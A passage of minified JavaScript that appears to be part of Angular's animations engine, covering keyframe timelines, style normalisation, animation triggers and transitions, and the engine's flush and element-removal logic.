ee(Te){return new n.vHH(3014,!1)}()),Mt}}class ri{constructor(y,D,Z,Le){this._driver=y,this.element=D,this.startTime=Z,this._elementTimelineStylesLookup=Le,this.duration=0,this.easing=null,this._previousKeyframe=new Map,this._currentKeyframe=new Map,this._keyframes=new Map,this._styleSummary=new Map,this._localTimelineStyles=new Map,this._pendingStyles=new Map,this._backFill=new Map,this._currentEmptyStepKeyframe=null,this._elementTimelineStylesLookup||(this._elementTimelineStylesLookup=new Map),this._globalTimelineStyles=this._elementTimelineStylesLookup.get(D),this._globalTimelineStyles||(this._globalTimelineStyles=this._localTimelineStyles,this._elementTimelineStylesLookup.set(D,this._localTimelineStyles)),this._loadKeyframe()}containsAnimation(){switch(this._keyframes.size){case 0:return!1;case 1:return this.hasCurrentStyleProperties();default:return!0}}hasCurrentStyleProperties(){return this._currentKeyframe.size>0}get currentTime(){return this.startTime+this.duration}delayNextStep(y){const D=1===this._keyframes.size&&this._pendingStyles.size;this.duration||D?(this.forwardTime(this.currentTime+y),D&&this.snapshotCurrentStyles()):this.startTime+=y}fork(y,D){return this.applyStylesToKeyframe(),new ri(this._driver,y,D||this.currentTime,this._elementTimelineStylesLookup)}_loadKeyframe(){this._currentKeyframe&&(this._previousKeyframe=this._currentKeyframe),this._currentKeyframe=this._keyframes.get(this.duration),this._currentKeyframe||(this._currentKeyframe=new Map,this._keyframes.set(this.duration,this._currentKeyframe))}forwardFrame(){this.duration+=1,this._loadKeyframe()}forwardTime(y){this.applyStylesToKeyframe(),this.duration=y,this._loadKeyframe()}_updateStyle(y,D){this._localTimelineStyles.set(y,D),this._globalTimelineStyles.set(y,D),this._styleSummary.set(y,{time:this.currentTime,value:D})}allowOnlyTimelineStyles(){return this._currentEmptyStepKeyframe!==this._currentKeyframe}applyEmptyStep(y){y&&this._previousKeyframe.set("easing",y);for(let[D,Z]of this._globalTimelineStyles)this._backFill.set(D,Z||s.l3),this._currentKeyframe.set(D,s.l3);this._currentEmptyStepKeyframe=this._currentKeyframe}setStyles(y,D,Z,Le){D&&this._previousKeyframe.set("easing",D);const rt=Le&&Le.params||{},yt=function ln(Te,y){const D=new Map;let Z;return Te.forEach(Le=>{if("*"===Le){Z=Z||y.keys();for(let rt of Z)D.set(rt,s.l3)}else pt(Le,D)}),D}(y,this._globalTimelineStyles);for(let[Mt,Ft]of yt){const Ut=Rt(Ft,rt,Z);this._pendingStyles.set(Mt,Ut),this._localTimelineStyles.has(Mt)||this._backFill.set(Mt,this._globalTimelineStyles.get(Mt)??s.l3),this._updateStyle(Mt,Ut)}}applyStylesToKeyframe(){0!=this._pendingStyles.size&&(this._pendingStyles.forEach((y,D)=>{this._currentKeyframe.set(D,y)}),this._pendingStyles.clear(),this._localTimelineStyles.forEach((y,D)=>{this._currentKeyframe.has(D)||this._currentKeyframe.set(D,y)}))}snapshotCurrentStyles(){for(let[y,D]of this._localTimelineStyles)this._pendingStyles.set(y,D),this._updateStyle(y,D)}getFinalKeyframe(){return this._keyframes.get(this.duration)}get properties(){const y=[];for(let D in this._currentKeyframe)y.push(D);return y}mergeTimelineCollectedStyles(y){y._styleSummary.forEach((D,Z)=>{const Le=this._styleSummary.get(Z);(!Le||D.time>Le.time)&&this._updateStyle(Z,D.value)})}buildKeyframes(){this.applyStylesToKeyframe();const y=new Set,D=new Set,Z=1===this._keyframes.size&&0===this.duration;let Le=[];this._keyframes.forEach((Mt,Ft)=>{const Ut=pt(Mt,new Map,this._backFill);Ut.forEach((o1,l1)=>{o1===s.k1?y.add(l1):o1===s.l3&&D.add(l1)}),Z||Ut.set("offset",Ft/this.duration),Le.push(Ut)});const rt=y.size?Zt(y.values()):[],yt=D.size?Zt(D.values()):[];if(Z){const Mt=Le[0],Ft=new Map(Mt);Mt.set("offset",0),Ft.set("offset",1),Le=[Mt,Ft]}return cn(this.element,Le,rt,yt,this.duration,this.startTime,this.easing,!1)}}class _i extends ri{constructor(y,D,Z,Le,rt,yt,Mt=!1){super(y,D,yt.delay),this.keyframes=Z,this.preStyleProps=Le,this.postStyleProps=rt,this._stretchStartingKeyframe=Mt,this.timings={duration:yt.duration,delay:yt.delay,easing:yt.easing}}containsAnimation(){return this.keyframes.length>1}buildKeyframes(){let y=this.keyframes,{delay:D,duration:Z,easing:Le}=this.timings;if(this._stretchStartingKeyframe&&D){const rt=[],yt=Z+D,Mt=D/yt,Ft=pt(y[0]);Ft.set("offset",0),rt.push(Ft);const Ut=pt(y[0]);Ut.set("offset",Nn(Mt)),rt.push(Ut);const o1=y.length-1;for(let l1=1;l1<=o1;l1++){let F1=pt(y[l1]);const A1=F1.get("offset");F1.set("offset",Nn((D+A1*Z)/yt)),rt.push(F1)}Z=yt,D=0,Le="",y=rt}return cn(this.element,y,this.preStyleProps,this.postStyleProps,Z,D,Le,!0)}}function Nn(Te,y=3){const D=Math.pow(10,y-1);return Math.round(Te*D)/D}class dn{}const Ei=new Set(["width","height","minWidth","minHeight","maxWidth","maxHeight","left","top","bottom","right","fontSize","outlineWidth","outlineOffset","paddingTop","paddingLeft","paddingBottom","paddingRight","marginTop","marginLeft","marginBottom","marginRight","borderRadius","borderWidth","borderTopWidth","borderLeftWidth","borderRightWidth","borderBottomWidth","textIndent","perspective"]);class Hn extends dn{normalizePropertyName(y,D){return _1(y)}normalizeStyleValue(y,D,Z,Le){let rt="";const yt=Z.toString().trim();if(Ei.has(D)&&0!==Z&&"0"!==Z)if("number"==typeof Z)rt="px";else{const Mt=Z.match(/^[+-]?[\\d\\.]+([a-z]*)$/);Mt&&0==Mt[1].length&&Le.push(function C(Te,y){return new n.vHH(3005,!1)}())}return yt+rt}}function ui(Te,y,D,Z,Le,rt,yt,Mt,Ft,Ut,o1,l1,F1){return{type:0,element:Te,triggerName:y,isRemovalTransition:Le,fromState:D,fromStyles:rt,toState:Z,toStyles:yt,timelines:Mt,queriedElements:Ft,preStyleProps:Ut,postStyleProps:o1,totalTime:l1,errors:F1}}const pn={};class Fi{constructor(y,D,Z){this._triggerName=y,this.ast=D,this._stateStyles=Z}match(y,D,Z,Le){return function zi(Te,y,D,Z,Le){return Te.some(rt=>rt(y,D,Z,Le))}(this.ast.matchers,y,D,Z,Le)}buildStyles(y,D,Z){let Le=this._stateStyles.get("*");return void 0!==y&&(Le=this._stateStyles.get(y?.toString())||Le),Le?Le.buildStyles(D,Z):new Map}build(y,D,Z,Le,rt,yt,Mt,Ft,Ut,o1){const l1=[],F1=this.ast.options&&this.ast.options.params||pn,C1=this.buildStyles(Z,Mt&&Mt.params||pn,l1),S1=Ft&&Ft.params||pn,Q1=this.buildStyles(Le,S1,l1),tn=new Set,Tn=new Map,En=new Map,wn="void"===Le,e2={params:hi(S1,F1),delay:this.ast.options?.delay},ni=o1?[]:L1(y,D,this.ast.animation,rt,yt,C1,Q1,e2,Ut,l1);let Un=0;if(ni.forEach(zn=>{Un=Math.max(zn.duration+zn.delay,Un)}),l1.length)return ui(D,this._triggerName,Z,Le,wn,C1,Q1,[],[],Tn,En,Un,l1);ni.forEach(zn=>{const $1=zn.element,H2=_e(Tn,$1,new Set);zn.preStyleProps.forEach(l2=>H2.add(l2));const z2=_e(En,$1,new Set);zn.postStyleProps.forEach(l2=>z2.add(l2)),$1!==D&&tn.add($1)});const hn=Zt(tn.values());return ui(D,this._triggerName,Z,Le,wn,C1,Q1,ni,hn,Tn,En,Un)}}function hi(Te,y){const D=Ae(y);for(const Z in Te)Te.hasOwnProperty(Z)&&null!=Te[Z]&&(D[Z]=Te[Z]);return D}class Kn{constructor(y,D,Z){this.styles=y,this.defaultParams=D,this.normalizer=Z}buildStyles(y,D){const Z=new Map,Le=Ae(this.defaultParams);return Object.keys(y).forEach(rt=>{const yt=y[rt];null!==yt&&(Le[rt]=yt)}),this.styles.styles.forEach(rt=>{"string"!=typeof rt&&rt.forEach((yt,Mt)=>{yt&&(yt=Rt(yt,Le,D));const Ft=this.normalizer.normalizePropertyName(Mt,D);yt=this.normalizer.normalizeStyleValue(Mt,Ft,yt,D),Z.set(Mt,yt)})}),Z}}class qi{constructor(y,D,Z){this.name=y,this.ast=D,this._normalizer=Z,this.transitionFactories=[],this.states=new Map,D.states.forEach(Le=>{this.states.set(Le.name,new Kn(Le.style,Le.options&&Le.options.params||{},Z))}),Ni(this.states,"true","1"),Ni(this.states,"false","0"),D.transitions.forEach(Le=>{this.transitionFactories.push(new Fi(y,Le,this.states))}),this.fallbackTransition=function h2(Te,y,D){return new Fi(Te,{type:1,animation:{type:2,steps:[],options:null},matchers:[(yt,Mt)=>!0],options:null,queryCount:0,depCount:0},y)}(y,this.states)}get containsQueries(){return this.ast.queryCount>0}matchTransition(y,D,Z,Le){return this.transitionFactories.find(yt=>yt.match(y,D,Z,Le))||null}matchStyles(y,D,Z){return this.fallbackTransition.buildStyles(y,D,Z)}}function Ni(Te,y,D){Te.has(y)?Te.has(D)||Te.set(D,Te.get(y)):Te.has(D)&&Te.set(y,Te.get(D))}const ei=new X1;class Zn{constructor(y,D,Z){this.bodyNode=y,this._driver=D,this._normalizer=Z,this._animations=new Map,this._playersById=new Map,this.players=[]}register(y,D){const Z=[],Le=[],rt=T1(this._driver,D,Z,Le);if(Z.length)throw function Oe(Te){return new n.vHH(3503,!1)}();this._animations.set(y,rt)}_buildPlayer(y,D,Z){const Le=y.element,rt=P(0,this._normalizer,0,y.keyframes,D,Z);return this._driver.animate(Le,rt,y.duration,y.delay,y.easing,[],!0)}create(y,D,Z={}){const Le=[],rt=this._animations.get(y);let yt;const Mt=new Map;if(rt?(yt=L1(this._driver,D,rt,It,_t,new Map,new Map,Z,ei,Le),yt.forEach(o1=>{const l1=_e(Mt,o1.element,new Map);o1.postStyleProps.forEach(F1=>l1.set(F1,null))})):(Le.push(function Qe(){return new n.vHH(3300,!1)}()),yt=[]),Le.length)throw function Ye(Te){return new n.vHH(3504,!1)}();Mt.forEach((o1,l1)=>{o1.forEach((F1,A1)=>{o1.set(A1,this._driver.computeStyle(l1,A1,s.l3))})});const Ut=pe(yt.map(o1=>{const l1=Mt.get(o1.element);return this._buildPlayer(o1,new Map,l1)}));return this._playersById.set(y,Ut),Ut.onDestroy(()=>this.destroy(y)),this.players.push(Ut),Ut}destroy(y){const D=this._getPlayer(y);D.destroy(),this._playersById.delete(y);const Z=this.players.indexOf(D);Z>=0&&this.players.splice(Z,1)}_getPlayer(y){const D=this._playersById.get(y);if(!D)throw function qe(Te){return new n.vHH(3301,!1)}();return D}listen(y,D,Z,Le){const rt=X(D,"","","");return w(this._getPlayer(y),Z,rt,Le),()=>{}}command(y,D,Z,Le){if("register"==Z)return void this.register(y,Le[0]);if("create"==Z)return void this.create(y,D,Le[0]||{});const rt=this._getPlayer(y);switch(Z){case"play":rt.play();break;case"pause":rt.pause();break;case"reset":rt.reset();break;case"restart":rt.restart();break;case"finish":rt.finish();break;case"init":rt.init();break;case"setPosition":rt.setPosition(parseFloat(Le[0]));break;case"destroy":this.destroy(y)}}}const Hi="ng-animate-queued",Vi="ng-animate-disabled",Bi=[],Ji={namespaceId:"",setForRemoval:!1,setForMove:!1,hasAnimation:!1,removedBeforeQueried:!1},bi={namespaceId:"",setForMove:!1,setForRemoval:!1,hasAnimation:!1,removedBeforeQueried:!0},mn="__ng_removed";class ai{get params(){return this.options.params}constructor(y,D=""){this.namespaceId=D;const Z=y&&y.hasOwnProperty("value");if(this.value=function Ci(Te){return Te??null}(Z?y.value:y),Z){const rt=Ae(y);delete rt.value,this.options=rt}else this.options={};this.options.params||(this.options.params={})}absorbOptions(y){const D=y.params;if(D){const Z=this.options.params;Object.keys(D).forEach(Le=>{null==Z[Le]&&(Z[Le]=D[Le])})}}}const jn="void",fi=new ai(jn);class Ui{constructor(y,D,Z){this.id=y,this.hostElement=D,this._engine=Z,this.players=[],this._triggers=new Map,this._queue=[],this._elementListeners=new Map,this._hostClassName="ng-tns-"+y,un(D,this._hostClassName)}listen(y,D,Z,Le){if(!this._triggers.has(D))throw function Ke(Te,y){return new n.vHH(3302,!1)}();if(null==Z||0==Z.length)throw function dt(Te){return new n.vHH(3303,!1)}();if(!function Oi(Te){return"start"==Te||"done"==Te}(Z))throw function bt(Te,y){return new n.vHH(3400,!1)}();const rt=_e(this._elementListeners,y,[]),yt={name:D,phase:Z,callback:Le};rt.push(yt);const Mt=_e(this._engine.statesByElement,y,new Map);return Mt.has(D)||(un(y,kt),un(y,kt+"-"+D),Mt.set(D,fi)),()=>{this._engine.afterFlush(()=>{const Ft=rt.indexOf(yt);Ft>=0&&rt.splice(Ft,1),this._triggers.has(D)||Mt.delete(D)})}}register(y,D){return!this._triggers.has(y)&&(this._triggers.set(y,D),!0)}_getTrigger(y){const D=this._triggers.get(y);if(!D)throw function ze(Te){return new n.vHH(3401,!1)}();return D}trigger(y,D,Z,Le=!0){const rt=this._getTrigger(D),yt=new Li(this.id,D,y);let Mt=this._engine.statesByElement.get(y);Mt||(un(y,kt),un(y,kt+"-"+D),this._engine.statesByElement.set(y,Mt=new Map));let Ft=Mt.get(D);const Ut=new ai(Z,this.id);if(!(Z&&Z.hasOwnProperty("value"))&&Ft&&Ut.absorbOptions(Ft.options),Mt.set(D,Ut),Ft||(Ft=fi),Ut.value!==jn&&Ft.value===Ut.value){if(!function g2(Te,y){const D=Object.keys(Te),Z=Object.keys(y);if(D.length!=Z.length)return!1;for(let Le=0;Le<D.length;Le++){const rt=D[Le];if(!y.hasOwnProperty(rt)||Te[rt]!==y[rt])return!1}return!0}(Ft.params,Ut.params)){const S1=[],Q1=rt.matchStyles(Ft.value,Ft.params,S1),tn=rt.matchStyles(Ut.value,Ut.params,S1);S1.length?this._engine.reportError(S1):this._engine.afterFlush(()=>{at(y,Q1),Ee(y,tn)})}return}const F1=_e(this._engine.playersByElement,y,[]);F1.forEach(S1=>{S1.namespaceId==this.id&&S1.triggerName==D&&S1.queued&&S1.destroy()});let A1=rt.matchTransition(Ft.value,Ut.value,y,Ut.params),C1=!1;if(!A1){if(!Le)return;A1=rt.fallbackTransition,C1=!0}return this._engine.totalQueuedPlayers++,this._queue.push({element:y,triggerName:D,transition:A1,fromState:Ft,toState:Ut,player:yt,isFallbackTransition:C1}),C1||(un(y,Hi),yt.onStart(()=>{en(y,Hi)})),yt.onDone(()=>{let S1=this.players.indexOf(yt);S1>=0&&this.players.splice(S1,1);const Q1=this._engine.playersByElement.get(y);if(Q1){let tn=Q1.indexOf(yt);tn>=0&&Q1.splice(tn,1)}}),this.players.push(yt),F1.push(yt),yt}deregister(y){this._triggers.delete(y),this._engine.statesByElement.forEach(D=>D.delete(y)),this._elementListeners.forEach((D,Z)=>{this._elementListeners.set(Z,D.filter(Le=>Le.name!=y))})}clearElementCache(y){this._engine.statesByElement.delete(y),this._elementListeners.delete(y);const D=this._engine.playersByElement.get(y);D&&(D.forEach(Z=>Z.destroy()),this._engine.playersByElement.delete(y))}_signalRemovalForInnerTriggers(y,D){const Z=this._engine.driver.query(y,Fe,!0);Z.forEach(Le=>{if(Le[mn])return;const rt=this._engine.fetchNamespacesByElement(Le);rt.size?rt.forEach(yt=>yt.triggerLeaveAnimation(Le,D,!1,!0)):this.clearElementCache(Le)}),this._engine.afterFlushAnimationsDone(()=>Z.forEach(Le=>this.clearElementCache(Le)))}triggerLeaveAnimation(y,D,Z,Le){const rt=this._engine.statesByElement.get(y),yt=new Map;if(rt){const Mt=[];if(rt.forEach((Ft,Ut)=>{if(yt.set(Ut,Ft.value),this._triggers.has(Ut)){const o1=this.trigger(y,Ut,jn,Le);o1&&Mt.push(o1)}}),Mt.length)return this._engine.markElementAsRemoved(this.id,y,!0,D,yt),Z&&pe(Mt).onDone(()=>this._engine.processLeaveNode(y)),!0}return!1}prepareLeaveAnimationListeners(y){const D=this._elementListeners.get(y),Z=this._engine.statesByElement.get(y);if(D&&Z){const Le=new Set;D.forEach(rt=>{const yt=rt.name;if(Le.has(yt))return;Le.add(yt);const Ft=this._triggers.get(yt).fallbackTransition,Ut=Z.get(yt)||fi,o1=new ai(jn),l1=new Li(this.id,yt,y);this._engine.totalQueuedPlayers++,this._queue.push({element:y,triggerName:yt,transition:Ft,fromState:Ut,toState:o1,player:l1,isFallbackTransition:!0})})}}removeNode(y,D){const Z=this._engine;if(y.childElementCount&&this._signalRemovalForInnerTriggers(y,D),this.triggerLeaveAnimation(y,D,!0))return;let Le=!1;if(Z.totalAnimations){const rt=Z.players.length?Z.playersByQueriedElement.get(y):[];if(rt&&rt.length)Le=!0;else{let yt=y;for(;yt=yt.parentNode;)if(Z.statesByElement.get(yt)){Le=!0;break}}}if(this.prepareLeaveAnimationListeners(y),Le)Z.markElementAsRemoved(this.id,y,!1,D);else{const rt=y[mn];(!rt||rt===Ji)&&(Z.afterFlush(()=>this.clearElementCache(y)),Z.destroyInnerAnimations(y),Z._onRemovalComplete(y,D))}}insertNode(y,D){un(y,this._hostClassName)}drainQueuedTransitions(y){const D=[];return this._queue.forEach(Z=>{const Le=Z.player;if(Le.destroyed)return;const rt=Z.element,yt=this._elementListeners.get(rt);yt&&yt.forEach(Mt=>{if(Mt.name==Z.triggerName){const Ft=X(rt,Z.triggerName,Z.fromState.value,Z.toState.value);Ft._data=y,w(Z.player,Mt.phase,Ft,Mt.callback)}}),Le.markedForDestroy?this._engine.afterFlush(()=>{Le.destroy()}):D.push(Z)}),this._queue=[],D.sort((Z,Le)=>{const rt=Z.transition.ast.depCount,yt=Le.transition.ast.depCount;return 0==rt||0==yt?rt-yt:this._engine.driver.containsElement(Z.element,Le.element)?1:-1})}destroy(y){this.players.forEach(D=>D.destroy()),this._signalRemovalForInnerTriggers(this.hostElement,y)}elementContainsData(y){let D=!1;return this._elementListeners.has(y)&&(D=!0),D=!!this._queue.find(Z=>Z.element===y)||D,D}}class o2{_onRemovalComplete(y,D){this.onRemovalComplete(y,D)}constructor(y,D,Z){this.bodyNode=y,this.driver=D,this._normalizer=Z,this.players=[],this.newHostElements=new Map,this.playersByElement=new Map,this.playersByQueriedElement=new Map,this.statesByElement=new Map,this.disabledNodes=new Set,this.totalAnimations=0,this.totalQueuedPlayers=0,this._namespaceLookup={},this._namespaceList=[],this._flushFns=[],this._whenQuietFns=[],this.namespacesByHostElement=new Map,this.collectedEnterElements=[],this.collectedLeaveElements=[],this.onRemovalComplete=(Le,rt)=>{}}get queuedPlayers(){const y=[];return this._namespaceList.forEach(D=>{D.players.forEach(Z=>{Z.queued&&y.push(Z)})}),y}createNamespace(y,D){const Z=new Ui(y,D,this);return this.bodyNode&&this.driver.containsElement(this.bodyNode,D)?this._balanceNamespaceList(Z,D):(this.newHostElements.set(D,Z),this.collectEnterElement(D)),this._namespaceLookup[y]=Z}_balanceNamespaceList(y,D){const Z=this._namespaceList,Le=this.namespacesByHostElement;if(Z.length-1>=0){let yt=!1,Mt=this.driver.getParentElement(D);for(;Mt;){const Ft=Le.get(Mt);if(Ft){const Ut=Z.indexOf(Ft);Z.splice(Ut+1,0,y),yt=!0;break}Mt=this.driver.getParentElement(Mt)}yt||Z.unshift(y)}else Z.push(y);return Le.set(D,y),y}register(y,D){let Z=this._namespaceLookup[y];return Z||(Z=this.createNamespace(y,D)),Z}registerTrigger(y,D,Z){let Le=this._namespaceLookup[y];Le&&Le.register(D,Z)&&this.totalAnimations++}destroy(y,D){if(!y)return;const Z=this._fetchNamespace(y);this.afterFlush(()=>{this.namespacesByHostElement.delete(Z.hostElement),delete this._namespaceLookup[y];const Le=this._namespaceList.indexOf(Z);Le>=0&&this._namespaceList.splice(Le,1)}),this.afterFlushAnimationsDone(()=>Z.destroy(D))}_fetchNamespace(y){return this._namespaceLookup[y]}fetchNamespacesByElement(y){const D=new Set,Z=this.statesByElement.get(y);if(Z)for(let Le of Z.values())if(Le.namespaceId){const rt=this._fetchNamespace(Le.namespaceId);rt&&D.add(rt)}return D}trigger(y,D,Z,Le){if(ti(D)){const rt=this._fetchNamespace(y);if(rt)return rt.trigger(D,Z,Le),!0}return!1}insertNode(y,D,Z,Le){if(!ti(D))return;const rt=D[mn];if(rt&&rt.setForRemoval){rt.setForRemoval=!1,rt.setForMove=!0;const yt=this.collectedLeaveElements.indexOf(D);yt>=0&&this.collectedLeaveElements.splice(yt,1)}if(y){const yt=this._fetchNamespace(y);yt&&yt.insertNode(D,Z)}Le&&this.collectEnterElement(D)}collectEnterElement(y){this.collectedEnterElements.push(y)}markElementAsDisabled(y,D){D?this.disabledNodes.has(y)||(this.disabledNodes.add(y),un(y,Vi)):this.disabledNodes.has(y)&&(this.disabledNodes.delete(y),en(y,Vi))}removeNode(y,D,Z,Le){if(ti(D)){const rt=y?this._fetchNamespace(y):null;if(rt?rt.removeNode(D,Le):this.markElementAsRemoved(y,D,!1,Le),Z){const yt=this.namespacesByHostElement.get(D);yt&&yt.id!==y&&yt.removeNode(D,Le)}}else this._onRemovalComplete(D,Le)}markElementAsRemoved(y,D,Z,Le,rt){this.collectedLeaveElements.push(D),D[mn]={namespaceId:y,setForRemoval:Le,hasAnimation:Z,removedBeforeQueried:!1,previousTriggersValues:rt}}listen(y,D,Z,Le,rt){return ti(D)?this._fetchNamespace(y).listen(D,Z,Le,rt):()=>{}}_buildInstruction(y,D,Z,Le,rt){return y.transition.build(this.driver,y.element,y.fromState.value,y.toState.value,Z,Le,y.fromState.options,y.toState.options,D,rt)}destroyInnerAnimations(y){let D=this.driver.query(y,Fe,!0);D.forEach(Z=>this.destroyActiveAnimationsForElement(Z)),0!=this.playersByQueriedElement.size&&(D=this.driver.query(y,Pe,!0),D.forEach(Z=>this.finishActiveQueriedAnimationOnElement(Z)))}destroyActiveAnimationsForElement(y){const D=this.playersByElement.get(y);D&&D.forEach(Z=>{Z.queued?Z.markedForDestroy=!0:Z.destroy()})}finishActiveQueriedAnimationOnElement(y){const D=this.playersByQueriedElement.get(y);D&&D.forEach(Z=>Z.finish())}whenRenderingDone(){return new Promise(y=>{if(this.players.length)return pe(this.players).onDone(()=>y());y()})}processLeaveNode(y){const D=y[mn];if(D&&D.setForRemoval){if(y[mn]=Ji,D.namespaceId){this.destroyInnerAnimations(y);const Z=this._fetchNamespace(D.namespaceId);Z&&Z.clearElementCache(y)}this._onRemovalComplete(y,D.setForRemoval)}y.classList?.contains(Vi)&&this.markElementAsDisabled(y,!1),this.driver.query(y,".ng-animate-disabled",!0).forEach(Z=>{this.markElementAsDisabled(Z,!1)})}flush(y=-1){let D=[];if(this.newHostElements.size&&(this.newHostElements.forEach((Z,Le)=>this._balanceNamespaceList(Z,Le)),this.newHostElements.clear()),this.totalAnimations&&this.collectedEnterElements.length)for(let Z=0;Z<this.collectedEnterElements.length;Z++)un(this.collectedEnterElements[Z],"ng-star-inserted");if(this._namespaceList.length&&(this.totalQueuedPlayers||this.collectedLeaveElements.length)){const Z=[];try{D=this._flushAnimations(Z,y)}finally{for(let Le=0;Le<Z.length;Le++)Z[Le]()}}else for(let Z=0;Z<this.collectedLeaveElements.length;Z++)this.processLeaveNode(this.collectedLeaveElements[Z]);if(this.totalQueuedPlayers=0,this.collectedEnterElements.length=0,this.collectedLeaveElements.length=0,this._flushFns.forEach(Z=>Z()),this._flushFns=[],this._whenQuietFns.length){const Z=this._whenQuietFns;this._whenQuietFns=[],D.length?pe(D).onDone(()=>{Z.forEach(Le=>Le())}):Z.forEach(Le=>Le())}}reportError(y){throw function De(Te){return new n.vHH(3402,!1)}()}_flushAnimations(y,D){const Z=new X1,Le=[],rt=new Map,yt=[],Mt=new Map,Ft=new Map,Ut=new Map,o1=new Set;this.disabledNodes.forEach(v1=>{o1.add(v1);const y1=this.driver.query(v1,".ng-animate-queued",!0);for(let M1=0;M1<y1.length;M1++)o1.add(y1[M1])});const l1=this.bodyNode,F1=Array.from(this.statesByElement.keys()),A1=Gi(F1,this.collectedEnterElements),C1=new Map;let S1=0;A1.forEach((v1,y1)=>{const M1=It+S1++;C1.set(y1,M1),v1.forEach(H1=>un(H1,M1))});const Q1=[],tn=new Set,Tn=new Set;for(let v1=0;v1<this.collectedLeaveElements.length;v1++){const y1=this.collectedLeaveElements[v1],M1=y1[mn];M1&&M1.setForRemoval&&(Q1.push(y1),tn.add(y1),M1.hasAnimation?this.driver.query(y1,".ng-star-inserted",!0).forEach(H1=>tn.add(H1)):Tn.add(y1))}const En=new Map,wn=Gi(F1,Array.from(tn));wn.forEach((v1,y1)=>{const M1=_t+S1++;En.set(y1,M1),v1.forEach(H1=>un(H1,M1))}),y.push(()=>{A1.forEach((v1,y1)=>{const M1=C1.get(y1);v1.forEach(H1=>en(H1,M1))}),wn.forEach((v1,y1)=>{const M1=En.get(y1);v1.forEach(H1=>en(H1,M1))}),Q1.forEach(v1=>{this.processLeaveNode(v1)})});const e2=[],ni=[];for(let v1=this._namespaceList.length-1;v1>=0;v1--)this._namespaceList[v1].drainQueuedTransitions(D).forEach(M1=>{const H1=M1.player,N=M1.element;if(e2.push(H1),this.collectedEnterElements.length){const s1=N[mn];if(s1&&s1.setForMove){if(s1.previousTriggersValues&&s1.previousTriggersValues.has(M1.triggerName)){const K1=s1.previousTriggersValues.get(M1.triggerName),g1=this.statesByElement.get(M1.element);if(g1&&g1.has(M1.triggerName)){const B1=g1.get(M1.triggerName);B1.value=K1,g1.set(M1.triggerName,B1)}}return void H1.destroy()}}const he=!l1||!this.driver.containsElement(l1,N),W=En.get(N),Ve=C1.get(N),ht=this._buildInstruction(M1,Z,Ve,W,he);if(ht.errors&&ht.errors.length)return void ni.push(ht);if(he)return H1.onStart(()=>at(N,ht.fromStyles)),H1.onDestroy(()=>Ee(N,ht.toStyles)),void Le.push(H1);if(M1.isFallbackTransition)return H1.onStart(()=>at(N,ht.fromStyles)),H1.onDestroy(()=>Ee(N,ht.toStyles)),void Le.push(H1);const Ht=[];ht.timelines.forEach(s1=>{s1.stretchStartingKeyframe=!0,this.disabledNodes.has(s1.element)||Ht.push(s1)}),ht.timelines=Ht,Z.append(N,ht.timelines),yt.push({instruction:ht,player:H1,element:N}),ht.queriedElements.forEach(s1=>_e(Mt,s1,[]).push(H1)),ht.preStyleProps.forEach((s1,K1)=>{if(s1.size){let g1=Ft.get(K1);g1||Ft.set(K1,g1=new Set),s1.forEach((B1,I1)=>g1.add(I1))}}),ht.postStyleProps.forEach((s1,K1)=>{let g1=Ut.get(K1);g1||Ut.set(K1,g1=new Set),s1.forEach((B1,I1)=>g1.add(I1))})});if(ni.length){const v1=[];ni.forEach(y1=>{v1.push(function ve(Te,y){return new n.vHH(3505,!1)}())}),e2.forEach(y1=>y1.destroy()),this.reportError(v1)}const Un=new Map,hn=new Map;yt.forEach(v1=>{const y1=v1.element;Z.has(y1)&&(hn.set(y1,y1),this._beforeAnimationBuild(v1.player.namespaceId,v1.instruction,Un))}),Le.forEach(v1=>{const y1=v1.element;this._getPreviousPlayers(y1,!1,v1.namespaceId,v1.triggerName,null).forEach(H1=>{_e(Un,y1,[]).push(H1),H1.destroy()})});const zn=Q1.filter(v1=>pi(v1,Ft,Ut)),$1=new Map;bn($1,this.driver,Tn,Ut,s.l3).forEach(v1=>{pi(v1,Ft,Ut)&&zn.push(v1)});const z2=new Map;A1.forEach((v1,y1)=>{bn(z2,this.driver,new Set(v1),Ft,s.k1)}),zn.forEach(v1=>{const y1=$1.get(v1),M1=z2.get(v1);$1.set(v1,new Map([...Array.from(y1?.entries()??[]),...Array.from(M1?.entries()??[])]))});const l2=[],Y2=[],W2={};yt.forEach(v1=>{const{element:y1,player:M1,instruction:H1}=v1;if(Z.has(y1)){if(o1.has(y1))return M1.onDestroy(()=>Ee(y1,H1.toStyles)),M1.disabled=!0,M1.overrideTotalTime(H1.totalTime),void Le.push(M1);let N=W2;if(hn.size>1){let W=y1;const Ve=[];for(;W=W.parentNode;){const ht=hn.get(W);if(ht){N=ht;break}Ve.push(W)}Ve.forEach(ht=>hn.set(ht,N))}const he=this._buildAnimation(M1.namespaceId,H1,Un,rt,z2,$1);if(M1.setRealPlayer(he),N===W2)l2.push(M1);else{const W=this.playersByElement.get(N);W&&W.length&&(M1.parentPlayer=pe(W)),Le.push(M1)}}else at(y1,H1.fromStyles),M1.onDestroy(()=>Ee(y1,H1.toStyles)),Y2.push(M1),o1.has(y1)&&Le.push(M1)}),Y2.forEach(v1=>{const y1=rt.get(v1.element);if(y1&&y1.length){const M1=pe(y1);v1.setRealPlayer(M1)}}),Le.forEach(v1=>{v1.parentPlayer?v1.syncPlayerEvents(v1.parentPlayer):v1.destroy()});for(let v1=0;v1<Q1.length;v1++){const y1=Q1[v1],M1=y1[mn];if(en(y1,_t),M1&&M1.hasAnimation)continue;let H1=[];if(Mt.size){let he=Mt.get(y1);he&&he.length&&H1.push(...he);let W=this.driver.query(y1,Pe,!0);for(let Ve=0;Ve<W.length;Ve++){let ht=Mt.get(W[Ve]);ht&&ht.length&&H1.push(...ht)}}const N=H1.filter(he=>!he.destroyed);N.length?Mi(this,y1,N):this.processLeaveNode(y1)}return Q1.length=0,l2.forEach(v1=>{this.players.push(v1),v1.onDone(()=>{v1.destroy();const y1=this.players.indexOf(v1);this.players.splice(y1,1)}),v1.play()}),l2}elementContainsData(y,D){let Z=!1;const Le=D[mn];return Le&&Le.setForRemoval&&(Z=!0),this.playersByElement.has(D)&&(Z=!0),this.playersByQueriedElement.has(D)&&(Z=!0),this.statesByElement.has(D)&&(Z=!0),this._fetchNamespace(y).elementContainsData(D)||Z}afterFlush(y){this._flushFns.push(y)}afterFlushAnimationsDone(y){this._whenQuietFns.push(y)}_getPreviousPlayers(y,D,Z,Le,rt){let yt=[];if(D){const Mt=this.playersByQueriedElement.get(y);Mt&&(yt=Mt)}else{const Mt=this.playersByElement.get(y);if(Mt){const 